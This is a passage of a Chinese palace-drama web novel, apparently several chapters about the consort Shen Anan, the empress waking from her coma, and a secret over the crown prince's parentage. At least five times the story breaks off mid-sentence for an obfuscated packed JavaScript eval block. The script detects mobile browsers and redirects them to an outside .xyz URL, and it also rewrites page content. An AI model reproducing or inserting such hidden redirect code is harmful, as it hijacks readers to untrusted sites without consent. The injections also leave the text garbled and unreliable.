“你去,伤亡少些。”夜不群垂下眼睑,陡然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15565020|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变冷的声音说着。 沈安安终究不是安乐,即便有一副十分相似的皮囊,也代替不了安乐。 他没必要对沈安安好言相劝,他发号施令,她负责执行就好。 “好。”沈安安应着。 她答应的太过干脆了,让夜不群都有些意外。 “去陪皇后说话吧,一个月后出发。”夜不群说道。 他声音很平静,就像没有涟漪的湖面一样。 许是她真的让夜不群开心了,天一黑,夜不群就让她回荣华宫了,还破例把夜亦天也放了。 椒房殿里,楚妃还在照顾皇后。 夜不群坐在床榻边上,轻轻抚摸着安乐的手。 “你好好照顾皇后,等皇后醒来,朕就满足你一个愿望。”他头也不抬的说着。 “照顾皇后娘娘是臣妾三生有幸,臣妾不敢妄想其他。”楚舒茗恭顺的说着。 “朕看重你,就是看重启西,荣贵妃先前送回京的那些楚家军,朕都安顿好了。 你进宫也大半年了,还没出宫游玩过一次呢,明日出宫去看看吧,见见他们,就当见你娘家人了。” 楚舒茗闻言,福身谢恩,“臣妾谢陛下隆恩。” 楚舒茗又何尝不知,陛下这是在敲打她。 陛下跟荣贵妃商议的那些事儿,她都听见了。 之所以没避着她,是因为在陛下看来,她不敢也不会有任何举动,她才是后宫里最听话、最软弱的那个。 荣华宫里。 沈安安左右两边坐着夜亦天和夜亦德。 她一把抽走了夜亦天手中的书,“喂,你到底有没有听我刚才说的话?” 夜亦德点着头道:“皇兄,炸同州是大事儿,你确实应该和母妃好好商量商量。” “你真打算照做?”夜亦天敷衍的问着,一副对此事丝毫不感兴趣的模样。 “那肯定不啊,我又不是神仙,还能一个人炸沉两座城。 这不是想着,神威大炮你看不到,**这不趁着这次机会能藏点儿搞搞嘛,来日去了西南,你也给我放烟火。” 夜亦天听她前半句,还以为她开窍了。 听她后半句,“孤困了,睡了。” 沈安安:“唉,你到底去不去啊?” 第137章愿如愿 接下来的日子,就变成了楚舒茗晚上照顾,沈安安白天照顾。 别看两人的主要任务都是伺候皇后,但想要见上一面,还真是难上加难。 许是上次沈安安说的话,夜不群真听进去了。 他给李含萱另外安排了宫殿,就离椒房殿不远。 每次楚妃伺候完皇后,李含萱都会留她在自己宫里坐坐,只因她要回东栾宫,必须经过李含萱的宣明宫。 清晨,知了刚叫了一声。 宣明宫的小太监,忙拿着东西,将知了给敲**。 宫女太监行动时,谨慎的连脚步声都没有。 “你不喜欢有声音?”楚舒茗被邀请在椅子上坐下来,看着宣明宫里的怪异,开口问着。 “是陛下喜欢清静。”李含萱回着。 其实自从上次在西华宫之后,她就再也没有见到过陛下了。 她的册封典礼,是礼部的大臣主持的,陛下也给了她不少赏赐,但也仅此而已。 陛下下了旨,说宣明宫挨着椒房殿,得保持清静。 可椒房殿却没有这么多的规矩,所以楚舒茗才会觉得奇怪。 整个后宫,恐怕也只有李含萱这里有这样的规矩了。 但楚舒茗是个聪明的,一听对方这话,便知晓都是为了皇后。 她宽慰道:“总好过待在西华宫,如今也没人教你规矩了,你本来也是个喜静的人。” 李含萱点了点头。 宫里的日子,还真像祖父说的那样,像被困住的鸟兽,毫无自由可言,一眼能看到头啊。 她从娘家带来的贴身宫女,死在了西华宫那次的无妄之灾里。 如今连个陪她说话的人也没有了。 “我也不敢让你多去我宫里走动,你知道的,东栾宫挨着西华宫。”楚舒茗觉得李含萱实在可怜。 “你闲的无聊时,可以去荣华宫走走,那里大,先不说贵妃娘娘讨陛下欢心。 荣华宫里还有两位殿下,不似我,没什么仰仗。 你去了,旁人看见也不敢胡乱非议的,贵妃娘娘的性子,宫里所有人都知晓,有仇当场就报了。” “我知道你是为了我好。”李含萱轻轻开口,一副欲言又止的模样。 楚舒茗见状,也不再继续这个话题了。 …… 椒房殿内。 沈安安坐在八仙桌前,正在大快朵颐。 她对面坐着夜不群。 原先她是没有这样好的待遇的,只因今天她来又胡说八道了一通,皇后的整只胳膊都动了动。 “你少吃些。”夜不群动作优雅的放下筷子,说着。 “为什么?”沈安安手里拿着大鸭腿,天真无邪的问着。 “吃的多了你总是借口往外跑。”夜不群面上看不出喜怒。 “拉屎你还管啊陛下?你不要太过分了。”沈安安才不管呢,继续吃。 夜不群嫌弃的瞪了她一眼,“你真是越来越没规矩了。” “坐在饭桌上,说这么粗俗的话,从小到大学的规矩都去哪儿了?” 这话一出口,沈安安来劲了,顶着一张大油嘴,开始叽里呱啦,“你还好意思说啊陛下? 都是因为你,我爹才会妻离子散,无奈把我交给别人抚养。 我能活着长大都是稀奇,还学规矩?谁教我规矩? 连字都是我光着屁股时,偷偷从教书先生那里扒墙根学来的。 这说起来,我也应该去太学院好好读读书。” 她说的这些,自然是原主的生活经历。 便是莲花,也是后来她被接去了西南,在西南王府时才有的贴身婢女。 在此之前,原主都是艰难生存,养她的那户人家,着实是拿了钱不办事,当然了,也不知道万辛到底有没有如约给银子。 沈安安压下心中思绪,过去的事儿都不重要了,要好好展望未来。 跟夜不群说这么多,还不是为了满足夜亦天想去太学院读书的愿望? 夜不群一眼就看穿了她心中所想,绝情的开口:“你休想。” 这在沈安安的预料之中,她咂巴着嘴,上下打量着夜不群,一副没眼看的样子。 夜不群怒目瞪着她,仿佛要用自己的帝王威严吓退她的满脸嫌弃。 他们就像水火不相容一般,哪怕一君一妃面对面坐着,也没有一丁点的和谐。 “臣妾吃饱了。”沈安安啃完大鸭腿,把骨头往空盘子里一扔,起身说道。 “去洗手。”夜不群冷声吩咐。 跟她说话就像跟赵小高说话一样,怎么简单直白怎么来,主打一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15565021|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个她能听懂就行。 “臣妾知道,臣妾不会用脏手去碰皇后娘娘的,皇上的宝贝,臣妾也一样珍惜。” 沈安安说着,把自己的双手伸进了黑漆漆的药汤里。 每次用这药汤洗完手,都有一股酸酸的味道,她得涂很多香膏才能把味道盖下去。 擦干了手,她推开皇后卧房的门,走了进去。 门干脆就敞开着了,反正在这宫里,没什么秘密可言。 **为了方便她和楚舒茗照顾,在地上铺了三层地毯。 可终究是在地上,坐的久了屁股还是会疼。 沈安安当然想直接躺在床榻上,抱着皇后娘娘干脆说他个八天八夜,但**不许。 她要是真那样做了,是真的会人头落地的。 看似她行事毫无分寸,天天在夜不群的雷点上蹦跶,但实际上她可会把握分寸了。 能把自己想说的说了,还能完美逃过责罚,是谁整天宣扬她是个没脑子的。 沈安安盘着腿坐在地上,两只手分别抓着脚腕。 “皇后娘娘,你不想醒来的原因,臣妾能理解,这个世界烂透了,醒来也是糟心,干脆躺着,眼不见心不烦。 你就跟臣妾一样,除了这红墙绿瓦的皇宫,哪里也去不了,身不由己的人最可怜了,这些臣妾都知晓。” “你家破人亡了,连个念头也没有,说白了,就是没有活下去的支撑。 但你还活着啊,多活一天就是赚一天,我是理解不了那些成天寻死的人,死还不容易吗?” “臣妾也尝过家破人亡的滋味,你以为自己赴死就能保护家人了?你错了,你前脚死,他们后脚就来陪着了。” “臣妾也不知道做错了什么,反正臣妾就没落得个好下场,入宫为后,干嘛不去找想当皇后的人呢?非要找一个不想成婚的人。” “臣妾不像别的女子,臣妾的毕生所愿不是相夫教子,臣妾想金戈铁马一生。 臣妾生在战场上,死也该死在战场上,凭什么要在后宫磋磨掉一生。 臣妾做梦都想的长大,不是这样的,皇后娘娘,你快醒来替臣妾做主吧。” “没有人疼臣妾了,臣妾的阿爹阿娘阿兄都不在了,没有人给臣妾撑腰做主了,皇后娘娘,臣妾也在很艰难很艰难的活着……” 第138章失而复得 沈安安低着头,垂着眼眸,早已经湿润的眼眶里,狠狠掉下了两滴泪。 许是这段时间常往椒房殿跑,安静下来的时候多了,总是会想到以前的种种。 她才过及笄之年,就被一杯毒酒赐**。 无比懊悔,做梦都想魂穿回去,最好是魂穿回那狗太子的身上,把他费尽心机得到的江山嚯嚯掉,让他也尝一尝痛心疾首的滋味。 沈安安越想越觉得憋屈,嘴巴一撇,干脆“哇”一声大哭了出来。 这一声,着实太大,惊的屋外批阅奏折的夜不群都吓了一跳。 他真的愤怒了,把奏折重重的丢在了桌子上,起身怒气冲冲的朝着卧房走去。 高大挺拔的身子,一步跨进去,黑着一张脸,停在沈安安旁边,居高临下的瞪着她。 “你想死是不是?”他的声音,犹如万年玄冰一般,从沈安安的头顶落下来。 她顶着一张哭花了的脸,“椒房殿不让人哭的吗?” “我把自己给说哭了。” 说着这话,她又掉了几滴眼泪。 “谁让你这样大声哭的?”夜不群气的攥紧了拳头,也不忘观察安乐。 “那哭还得憋着啊?呜呜呜的像苍蝇叫一样?我只会放开了大哭,失声痛哭。”沈安安用袖子擦了擦眼泪。 “你不要太霸道,哭你还要管,是你让我来椒房殿的,又不是我自己稀罕来。” 这一争吵,悲伤的情绪也没了。 不等夜不群发怒,沈安安识趣的跪下,开口就是求饶:“臣妾错了,求陛下饶恕。” 夜不群青筋暴起的手,就要伸出掐住她的脖子。 下一瞬,搭在床榻边缘的那只纤细白皙的手,动了动。 夜不群清楚的看见了,他这才惊觉,安乐的手换了个位置。 沈安安是绝对不敢碰她的,那就是她自己挪动的,她要醒了。 一时间,夜不群的手悬停在空中,一双惊喜又期待的眸子,定定的看着安乐。 沈安安低着头,还在继续呢喃。 “吃饭要管、上茅房也要管,连每天喝什么都要管。 这大热的天,连口冰冰凉凉的茶也不给人喝,我喝一口凉茶还能说话是喷出来一口凉气把皇后冷死不成?” “又不是我让皇后躺在这里的,怎么苦都要我来受?夜里凉快的时候怎么不让我来伺候,就要挑这日头大大晒着的白天。 福不让人我享,罪都要我受,我才是宫里最可怜的那个妃子好不好? 拿点好吃的好穿的就想让我闭嘴,人家雇佣**还知道要给银子呢,无本万利的买卖可算是让你给做明白了……” “你闭嘴。” “你别说了,吵**。” 忽然之间,一男一女两道声音同时响起。 沈安安抬起头看向夜不群,“咦?陛下,您娘娘腔起来比太监还温柔。” 夜不群那**冰山的脸上,浮现出了从未有过的笑容。 脸上没有愤怒,全都是喜悦。 沈安安还以为他是被自己骂爽了,觉得他真是个脑子有病的。 “荣贵妃,朕要给你记功,记大功。”夜不群温柔如水的声音,响着。 然后,沈安安亲眼看着他在床榻上坐下来,把皇后搀扶了起来。 她这才定睛朝着皇后看去。 不是吧? 皇后还真醒了? 神了。 沈安安抬起手,摸了摸自己的嘴巴,难道她这张嘴有仙力不成?真能把人给说醒了? “安乐。”夜不群把跪在地上的沈安安抛之脑后,满眼都只有自己的皇后。 他手足无措,想去抚摸安乐的脸,却又怕不小心弄伤了她。 此时的安乐在他眼里,就是个碰不得的奇珍异宝。 “宣太医、宣国师、宣首辅……”惊喜之余,夜不群开口道。 刚醒来的安乐,艰难的抬起一只手,握住了夜不群的手。 “我很好,你别怕。”昏迷了许久,再醒来,没想到她还能如常的说话。 那双如水如星的眼睛,继而看向了沈安安,嘴角浮现出一抹笑意。 看到这张几乎跟自己一模一样的脸,安乐不但没生气,反而很是欣慰。 她冲沈安安说:“日后,我给你做主,不会再叫人欺负你了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夜不群大赦天下,轩辕上下,凡是关押在牢里的犯人,不论犯了什么罪,一律释放。 以至于,即便多地民不聊生,各地方官员还是发动百姓,给皇后募捐建造安乐寺。 之所以这样做,还是因为在先皇时期,身为摄政王的陛下就做过一次这样的事儿。 有大赦在前,百姓们虽有怨言,却也照做。 官员们觉得这是一次立大功的绝佳机会,做得好,指不定就封侯拜相了。 于是乎,更压榨百姓了。 比谁建的安乐寺大,比谁用的材料好。 很难想象,在全国一半州县吃不饱穿不暖的情况下,还能找到金丝楠木来建寺,用黄金打造金身。 轩辕全国沸腾。 而后宫,则正弥漫着一场没有硝烟的战争。 皇后醒了,除了沈安安和楚舒茗是真的高兴外,其他妃子各怀心思。 荣华宫里。 楚舒茗亲自下厨,给沈安安做菜,手抓、萝卜炖羊汤、肚包肉、烤羊蹄和红烧羊排。 “都是托了我的福,你们才有全羊宴吃。”沈安安坐在长桌前,一边倒酒一边说着。 楚舒茗常来荣华宫,沈安安觉得先前吃饭的八仙桌太小了,要去御花园砍一棵大树做桌子。 皇后知晓了,便把椒房殿陛下的书桌赏给她了。 上等金丝楠木的,谁见了不说一声羡慕? “我也给你准备了好东西。”沈安**着楚舒茗的胳膊坐下来。 “莲花。”她叫了声。 下一瞬,莲花领着好几个宫女,个个手里端着丝绸布料、冠子首饰站在楚舒茗旁边。 莲花笑盈盈道:“楚妃娘娘,我家娘娘说自己一介武娘,不懂得如何讨女孩子欢心。 本想去宫外给您打几副头面的,但一细想,顶好的东西不都在宫里吗? 楚妃娘娘莫要嫌弃,奴婢手里这副是我家娘娘的陪嫁,如今你与我家娘娘金兰之谊。 这副头面,娘娘说就是她这个做妹妹的,送给您的了。” 莲花嘴巴真甜,说的话每个字都好听。 本来嘛,贵妃给妃子东西,那就是赏赐,一个不妥当,容易让对方误会成是炫耀和侮辱,心里生了嫉恨那就不好了。 可沈安安能拿出手的东西,都是皇后赏赐的。 想来这皇后也是糊涂,人家楚妃在伺候她的时候那也是尽心尽力,但她赏赐东西却偏要分个三六九等。 什么好的都往荣华宫送,沈安安想不遭嫉妒都不行。 “嗯嗯嗯。”沈安安点着头,“莲花说的就是我的意思,我这个人嘴笨,好话都能说成个坏话。 所以李大人叫我闭嘴,不会说就别说。” 她口中的李大人,自然是李汉民了。 李汉民得了陛下和皇后的旨意,教导沈安安礼仪,他现在在荣华宫,整天拿着鸡毛当令箭,搞得沈安安都想搬去东栾宫和楚舒茗住了。 楚舒茗却忙要从椅子上站起来。 不过屁股都没抬起来呢,就被沈安安给重新摁回去了。 “娘娘,这于理不合,您是贵妃,嫔妾是妃子,嫔妾怎敢?”楚舒茗眸子里含着惊慌。 她与沈安安亲近,从头到尾,都存了利用的心思。 皇后公然认沈安安为妹妹,只是一个服众的由头罢了,恐怕她真的是皇后的妹妹。 她常往荣华宫跑,也是意识到了这一点,在给自己找仰仗罢了。 若沈安安还像之前那样,对她不远不近,她反而心里会舒服些。 难道是自己做的太好了?对方这才真诚以待的? “义结金兰只论年纪,不论辈分。”沈安安豪爽开口。 莲花在一旁提醒着:“娘娘,是位份。” 沈安安这方反应过来,点着头道:“啊对对对,不论位份。” 见沈安安实在坚持,楚舒茗也不好驳了她的面子,便只好照单全收了。 午膳用完,李汉民又来给沈安安教规矩。 沈安安借口要送楚舒茗回宫,溜了出来。 不成想,半道上碰上了崔福。 崔福道:“贵妃娘娘这是要去哪里?” 沈安安动了动唇瓣,刚要开口,就听崔福又道:“娘娘哪儿都别去了,随老奴去椒房殿吧,皇后娘娘和陛下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570697|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都等着呢。” “请吧。” 崔福手一挥,做了个请的手势。 楚舒茗也道:“贵妃娘娘,那嫔妾先告退了。” 崔福闻言看向楚舒茗,客客气气的微微颔首。 沈安安跟在崔福身后,慢悠悠的往椒房殿走。 “皇后娘娘干嘛不叫上楚妃一起啊?楚妃伺候她比我都伺候的久,这样子区别对待,不好的。”她问着崔福。 也是替楚舒茗不值,所以她才把皇后赏赐的好东西都给楚舒茗。 她是个武将,把**行赏那一套也用在人际关系上了。 她太知道付出就要得到回报的重要性了,不然别人是脑子有坑吗?上赶着当牛做马。 “贵妃娘娘,陛下和皇后娘娘自有考量,这就不用您担心了。”崔福说着官腔。 沈安安撇撇嘴,“崔公公你不能这样的,你是陛下跟前儿最亲近的人了。 陛下做的不对的地方,你得提醒,你要是不敢,那你就把位置腾出来给敢的人。 别占着茅坑不拉屎,尸位素餐的,你这总管太监不称职。” 崔福脸色难看。 回头看向她时,又是一脸的笑意。 “哎吆贵妃娘娘,你就别拿老奴解闷儿了,皇后娘娘对您如此好,还不是因为您是她妹妹? 虽说不是亲的,但也是有血缘关系的表妹,这俗话说得好,血浓于水。 您有这份福气,好好受着就好了,怎的还处处要跟皇后娘娘作对?” “啊???”沈安安丈二的和尚摸不到头,一脸懵逼,“我什么时候又成皇后的表妹了?” 崔福摇头,“这老奴就不知道了,待会儿到了椒房殿,皇后娘娘会同您说明白的。” 沈安安摇了摇头,这都什么乱七八糟的关系? 她跟皇后长这么像,要说亲妹妹还有可信度,表妹?谁家表妹长得就差一模一样了? 皇后娘娘为了让她在后宫享福,也大可不必编个这么漏洞百出的谎话吧? **也信? 唉,要不说青梅竹马没人能取代呢。 在皇后面前,**的智商就像喂了狗。 第141章催生 “过去发生了许多事儿,一时半会儿也说不完,你只需记得,如今你我是这世上最亲的亲人了。” “安安,本宫待你好,你不用有心理负担,不用在意旁人说什么。” 安乐依偎在夜不群怀里,一双温柔的眼眸看着沈安安,细声细语的说着。 “嗯。”沈安安不大情愿的点了点头。 或许皇后说的对,但这不是她认同的道理。 维护正义有许多种办法,不是非要伤及无辜的,凭什么那一小部分人,就要在不知情的情况下,沦为天下大同的牺牲品? 牺牲是必不可少的,但也分甘愿赴死和被害而亡。 沈安安低垂着眼眸,兀自吃着面前的冰镇西瓜。 帝后的恩怨,与她无关。 不插手别人人生,享快乐生活,他们要怎样就怎样吧。 夜不群倒是不把沈安安当外人。 这她还在呢,他就把皇后抱了起来,横着放在自己的腿上,他的脸都埋在皇后脖子里了。 恩爱的两人不害臊,反倒是沈安安面红耳赤,死死低着头不敢抬起来。 “陛下,别闹。”安乐推着夜不群的肩膀,“安安还在呢。” “以后别叫她安安。”夜不群温润的声音,响着。 “陛下要给安安赐名字?”安乐只当他是爱屋及乌,也看重沈安安。 “你名字里有个安字,她配不上这个名字,朕给她赐了封号,日后就叫她荣儿吧。”夜不群心直口快。 “陛下。”安乐嗔了声。 沈安安撇了撇嘴,管的真宽,有本事把天下叫安安的都杀光,深情给谁看呢? 至于他们俩接下来都说了啥,沈安安没听。 反正最后是皇后妥协了,冲她说道:“那以后本宫就叫你荣儿了。” 沈安安点头如捣蒜,“好的皇后娘娘,您叫臣妾什么都好听。” “来荣儿,跟本宫来。”安乐说着,手撑在桌沿上,缓缓起身。 “好。”沈安安起身,跟在她身后。 夜不群无视沈安安,高大挺拔的身子弯着,扶着安乐。 夜不群个子很高,皇后也就到他胸口。 他这么一弯腰,皇后都能靠在他的肩膀上了。 书房内。 安乐让夜不群坐在书桌前,她指了指夜不群对面的椅子,示意沈安安坐下来,“本宫想听你们讲讲启西的事儿。” 沈安安愣愣的站着,“皇后娘娘,这臣妾可不敢,后宫嫔妃不得妄议朝政。” “本宫就喜欢听你说。”安乐温柔开口。 沈安安心下叹息,这皇后怎么回事儿?怎么净做一些为难人的事儿? 要不说他们两个是鹣鲽情深的夫妻呢,**喜欢硬控制,皇后喜欢软控制。 真是一个被窝里睡不出两种人。 “皇后让你坐,你坐下便是;皇后让你说,你直抒胸臆便是;怎的就天生反骨,非要逆着来?”夜不群冰冷的眼神警告着沈安安。 沈安安甩给他一个白眼,一屁股在椅子上坐下来。 都懒得跟他说话。 夜不群转而又看向安乐,声音恢复了温柔,“她也就那一次侥幸赢了而已,你还真当她会排兵布阵啊?” “陛下,臣妾信荣儿。”安乐耐心道。 她虽醒了,但身体到底不似正常人。 活动的时间稍微一久,就会出一身虚汗,又不敢用冰降暑。 夜不群看一眼就心疼坏了,忙搬了椅子过来,让她坐在自己身边。 他手拿折扇,给她轻轻扇风。 夜不群扭头看沈安安时,横看竖看都不顺眼,厉声呵斥:“你还愣着干什么?等朕请你?” 沈安安左右手分别抓起黑色和红色的小旗子。 黑色代表北戎、红色代表轩辕。 桌子上摊开的是地图。 “皇后娘娘,臣妾擅长冲锋,那臣妾就把自己当成是北戎人了。 如果是我的话,我会在兵力充足的情况下,从这里发起突袭,虽然绕的有些远,但能保证在撤退时没有阻碍。” 沈安安说着,将一面黑色的旗子,插在了楚州北面。 夜不群瞥了一眼,冷哼一声。 继而,他傲娇的像个得了赏赐的孩子似的,冲安乐开口:“你看,朕说的没错吧,她成天想的就是怎么倒行逆施。” 沈安安咬牙切齿的继续道:“要是我有十万骑兵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15576502|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精锐,我就直捣黄龙,从正面杀进楚州,端了军营,然后一路南下。 要是遇上龙虎军,我就孤军深入,宰了他们的**手,抢了大炮,然后炸他个人仰马翻。 再拉着大炮,抢些**,直接把军队拉到京城来,对着城门一顿炮轰。” “不接受投降,打到他们见到我就像羊见到狼一样,吓的直接尿裤裆。” 沈安安把一大把黑色旗子,一股脑儿的往楚州一插。 至于红色旗子,她随手一扬,散落的满地图都是。 夜不群怒不可遏,看她的眼神好似真的能**。 沈安安双臂环胸,姿态随意的靠在椅子上,一副‘你能把我咋地’的表情。 安乐轻笑一声。 抬手整理着地图上的旗子,她打圆场道:“本宫倒觉得荣儿说的有理,所以镇守启西还是得派一位得力干将。” “陛下,就让楚妃妹妹回一趟楚州,亲自请楚将军出山吧,没有人比他更合适了。” 安乐一开口,夜不群的怒气好像顷刻间消失殆尽。 他道:“朕今晚就下旨,明日就让楚妃出发。” “陛下现在就去吧,别等今晚了。”普天之下,也就只有安乐敢催促他了。 夜不群宠溺应着:“好,朕现在就去。” 然后,他依依不舍的离开了椒房殿。 一步三回头,可安乐也没出来送他,在书房跟沈安安继续聊天呢。 “荣儿,看到你跟陛下欢喜冤家,本宫甚是欣慰。”安乐唇角带着笑意,说道。 沈安安赶忙抬起双手,连连挥着,解释着:“皇后娘娘,臣妾跟陛下之间是清白的。 臣妾对陛下无感,臣妾不喜欢陛下这种人,当然了,陛下也不会喜欢臣妾。” 安乐握住了沈安安的手,让她别慌张。 “子嗣是尤为重要的,你我姐妹二人在这宫里,除了陛下可以仰仗外,也需要皇子。 本宫的身子本宫知晓,是断不能生孩子的,本宫也不知还有多少时日,总要替你多打算一点。” “两位皇子再好,毕竟不是亲生的,隔着一层,焉知日后会不会善待于你?荣儿,明晚本宫就安排你侍寝。” 第142章 野种 沈安安脑子是懵的。 安乐说了很多她一定要侍寝的理由,但她只听到两个字:侍寝。 她嘟着嘴,把不悦都写在脸上,严词拒绝,“我不要侍寝。” “安安。”安乐语重心长的叫着她的名字。 “我不听我不听。”沈安安捂着耳朵,任性道。 安乐也不生气,抓着她的手腕,将她的手拿了下来。 安乐正色道:“接下来本宫说的话,每一个字,你都得铭记于心。” “这天下,是再也还不到先帝血脉的手中了,就算陛下愿意,朝中重臣也不会愿意,宫变的血雨腥风,是你想象不到的残忍。” “明儿不是本宫生的,本宫身子骨一直都弱,无法生育。 明儿才是先皇的嫡皇子,他才是真正的太子。 真相总有一天会大白于天下,他们三个中的任何一个,都不能是未来的皇上。” 沈安安吃惊的张大了嘴巴,只眼睛一眨一眨的。 这些信息源源不断的贮存在她的大脑里,她晕晕乎乎的,这都什么跟什么啊? 所以搞了半天,亦天压根就不是皇室血脉,他是个野种? 那他的**是什么?**又为什么要这么做? “你可听清楚了?”安乐摇晃着她的手。 沈安安点了点头,震惊的一个字都说不出。 安乐说信她不会把秘密外传,言语里的意思,就是让她把这件事儿烂在肚子里。 她在椒房殿陪安乐用了晚膳,便照顾她睡下了。 一直到亥时,夜不群才处理完政务回来。 看安乐还在睡,他不耐烦的挥了挥手,示意沈安安滚蛋。 她本来也不想多留,麻溜的转身离开,一路回到了荣华宫。 沈安安拖着沉重的身子,朝着夜亦天的房间看去。 房间还亮着灯,透过窗户,她能看到他认真读书的模样。 难怪之前看到先皇后的画像,她总觉得跟亦天不像,原来不是她多想了,而是亦天真不是先皇后生的啊。 “母妃。”夜亦德揉着眼睛,挪步到了她跟前儿,叫着。 沈安安垂眸看向他,宠溺的揉了揉他的脑袋,“都困成这样了,快去睡吧。 以后就别等我了,我去了椒房殿,指不定什么时辰回来呢。” 夜亦德摇了摇头,稚嫩的声音带着疲倦,“我要等母妃回来一起睡。” “我要母妃哄我睡。” 沈安安弯腰,将他抱了起来,耐心道:“乖,你先回去自己睡吧,我去看看你皇兄。” 夜亦德闻言,往夜亦天的屋子看去,“皇兄真认真,皇兄以后一定是位明君,母妃,我陪你一起去看皇兄。” 沈安安迈步走去,叹息着:“唉,做皇帝有什么好?成天挖空心思的算计来算计去。 还不如做个老百姓,有点余粮,有点儿存银,吃喝不愁,日出而作日落而息,多自由自在,你说是不是啊亦德?” 夜亦德摇着头,胖嘟嘟的脸颊抖着,他道:“不好,就算皇兄以后不做皇帝,那最次也应该是个亲王。” “而且母妃,皇兄本来就是太子啊,那他以后理所应当就是皇上,为什么不能做皇上?” 沈安安:“我有说他以后不能做皇上吗?” 夜亦德一双亮晶晶的眸子盯着她:“你现在说了。” 沈安安抿着唇,她的这张嘴啊,她有时候也真的是服了。 她给自己找补着:“主要啊,是我觉得你皇兄不是当皇帝的料儿。 你闲了多劝劝他,以后跟你一起去封地享福多好?反正我们有那么多金子,不愁吃穿不愁花的,干嘛非要去操劳,你说对不对?” 话间,两人敲开了夜亦天的房门。 小小的人儿一抬眸,就看见亲昵的母子二人,心中泛起酸涩。 “亦天啊。”沈安安叫着。 走近后,她将夜亦德放在小榻上。 小榻临着窗户,她推开窗,夜间的凉风刮进来,屋中的热气一下子散了大半。 风吹的蜡烛晃动,小火苗几次都要熄灭了。 夜亦天把书往桌子上一放,风吹的书页哗哗响。 “你们来做什么?”难得,夜亦天主动开口说话。 沈安安搬了张椅子,在他对面坐下来,“亦天啊,这书有什么好看的。 以后我教你练武,教你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588170|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 练兵打仗怎么样?学就要学点真本事,成天看书都要看成个呆子了。” 沈安安心里嘀咕着:‘傻儿子哦,你再怎么努力,皇位都落不到你手里,因为你就不是老夜家的种。’ 轩辕缺武将,从小培养,以后说不定他还能靠一身本事,安安稳稳的度过一生呢。 “你想说什么?”夜亦天小小的人儿沉着脸,一针见血的问着。 “没有啊,我就是觉得你身子骨太弱了,应该加强锻炼一下。”沈安安随口找着借口。 夜亦天盯着她问,“他要废储了?” 他口中的他,自然指的是夜不群。 夜亦天早就想到了,只是没料到,这一天会来的这样早。 皇后为什么要醒?一直睡下去不好吗? 如今她醒了,夜明又多了一重保障,自己的胜算又少了一分。 “谁说的?好端端,谁敢废了你?”沈安安生怕自己说漏嘴。 但其实她的每句话,都漏洞百出。 只是因为夜亦天坚信自己是先皇的亲生儿子,这才没猜到真正缘由。 夜亦天漆黑的、含着冷意的眸子,与沈安安对视,“沈安安,你不会真要给孤生个弟弟吧?” “你想哪儿去了?”沈安安狂翻白眼,“你小小年纪,大人的事儿你少打听。” “哼。”夜亦天冷哼一声,可心里却惴惴不安。 若沈安安真要生,他又能如何? 阻止不了。 